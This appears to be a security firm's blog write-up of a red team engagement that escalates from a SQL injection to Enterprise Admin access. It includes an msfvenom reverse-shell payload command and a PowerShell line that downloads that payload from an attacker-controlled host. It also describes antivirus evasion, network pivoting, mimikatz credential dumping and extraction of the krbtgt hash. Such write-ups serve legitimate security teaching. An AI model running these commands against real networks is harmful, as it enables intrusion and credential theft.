We were recently engaged in a Red Team exercise in which the only information provided to us was the organisation name. In this blog post Sudhanshu Chauhan explores one of the exploitation paths which led us to gain Windows Enterprise Admin level access from a SQL injection vulnerability. The story has usual suspects: OSINT, weak credentials, password cracking, insecure configurations, pivoting, AV bypass and pure pwnage.
As active enumeration was prohibited during the initial phase, we started with passive information gathering which included identifying IP ranges owned by the client, enumerating domains and subdomains, exploring github, pastebin and other sources for leaked sensitive information and service discovery using shodan as well as several other OSINT techniques.
A list of resources was compiled and ranked based on a number of factors including data like leaked credentials, outdated software, exposed services etc. from where we prioritised targets that we believed would yield the most results. The list was then shared with the client and the targets for next phase were confirmed.
One of the high ranking websites was explored and a SQL injection vulnerability was identified. Using the option ‘--is-dba’ in SQLMap, we identified that we had DB admin level privileges. Interactive access (sql shell) was gained from where multiple databases were identified. A number of database user accounts and the associated password hashes were also located. Using #OneRuleToRuleThemAll we were able to crack a number of those password hashes. Also, as ‘xp_cmdshell’ was enabled on the database server, we were able to execute OS commands. This was confirmed by OOB DNS Calls to our custom domain “xyz.abc.sos.notsosecure.com”, as shown below:
When you have code execution, the next step is to achieve better control via an interactive shell. We fiddled with multiple meterpreter payloads, but failed on almost all of them. As we kept experimenting with multiple exfiltration techniques such as ICMP tunnelling we settled for an interactive ICMP shell through xp_cmdshell, as shown below:
Using the newly gained ICMP shell we fiddled with the compromised system and looked around for anything that could help us during post-exploitation. The ICMP shell was also a little unstable which wasn’t good enough to quench our post-exploitation thirst.
As the host was a Windows box, we then tried to get a powershell meterpreter payload. It got us a shell but it was detected within few seconds and the connection was terminated. A little enumeration confirmed that there was enterprise security Antivirus running on the host. After a few failed attempts to circumvent the protection in place, we stepped back to enumeration on the host and identified that python was installed. Then we generated a python meterpreter payload using msfvenom by running the following command:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=<OUR_HOST> LPORT=1234 > pypreter.py
The above payload was then hosted on our server and we instructed the compromised server to download the payload using the following Powershell command from the ICMP shell:
powershell $WebRequest = New-Object System.Net.WebClient; $WebRequest.DownloadFile('http://<OUR_HOST>:8000/pypreter.py','C:\Windows\Temp\pypreter.py')We started our metasploit multi handler for the python payload and executed the payload through the ICMP shell. Voila! This got us our much desired meterpreter shell, as shown below:
Although much more stable than our initial ICMP shell, most of the meterpreter commands failed to fetch results. This was because of the limitations of the python meterpreter implementation.
From our newly gained python meterpreter shell we moved on to further enumeration. Based on our past experience we targeted network shares, as they are often not included within Antivirus scanning scope. Luckily, we stumbled across one such share and dropped a Windows non-staged meterpreter payload there. We started another metasploit multi handler for the non-staged meterpreter payload, executed the binary and as expected received a shiny, new native meterpreter shell.
Once you have a meterpreter shell, the exciting times begin. Now we dumped hashes, tried to fetch clear text passwords using mimikatz, extract delegation tokens but we did not receive anything which could help us get any further than we already were. No cleartext login credentials were found as no one was logged in and local hashes were not working anywhere else.
We identified that the host had multiple network interfaces, so we used our newly gained meterpreter shell to add a route to the internal network using the following command:
route add 10.0.1.0 255.255.252.0 1
Once the route was added, we performed an ARP scan to identify live hosts on the network using a post exploitation metasploit module and identified multiple hosts.
Using an auxiliary metasploit module we then executed a port scan on the live hosts to try and identify any hosts running MSSQL, as shown below:
We then used the “auxiliary/scanner/mssql/mssql_login” module with database accounts that were cracked earlier to see if any accounts had been reused, as shown below:
We found one account was valid on two other hosts and had database admin privileges. With the help of the module ‘auxiliary/admin/mssql/mssql_exec’, we were able to use this privileged account to get a meterpreter shell running as SYSTEM. This host was running Windows Server 2003 operating system (which is now obsolete). The local hashes were subsequently dumped, and hashcat cracked a bunch of local accounts. The meterpreter shell was then used to dump domain account hashes as shown below:
Apart from that, mimikatz was also used to dump clear text passwords from the memory of the compromised box as shown below:
After further enumeration it was identified that one of these user was part of the "Enterprise Admins" Group. This gave us direct access to Domain Controller. At this point we moved towards mass exploitation and using these high privilege credentials we extracted multiple clear text passwords from all other hosts using powershell script "Invoke-MassMimikatz.ps1".
Additionally we were now in a position to perform hashdump on the domain controller to obtain hashes of high privilege accounts like "krbtgt". Here we used a nifty command called ‘dcsync_ntlm’ from the metasploit kiwi extension to extract the hash of krbtgt account, as shown below.
This hash can then be further leveraged to create golden ticket and obtain persistence on the network. This is where we stopped after our long journey, starting from a web application vulnerability and ending with multiple credentials of enterprise admins.
The entire scenario is demonstrated in the attack flow diagram below:
This compromise life-cycle emphasizes the fact that each individual vulnerability should be treated with importance as we never know when it will become a link in chained vulnerabilities, leading to total compromise. Another important aspect for an enterprise is to ensure that a complete inventory is created of all systems and an acceptable patching and upgrading policy should be in place.
Marketing
Establishing domain persistence often requires several steps, including both web application and infrastructure components as shown above. Our Advanced Infrastructure Hacking (AIH) and Basic Web Hacking (BWH) courses, both of which are being delivered at Blackhat, provide great insight into the identification of attack vectors like these and how to exploit them. Further details can be found below.
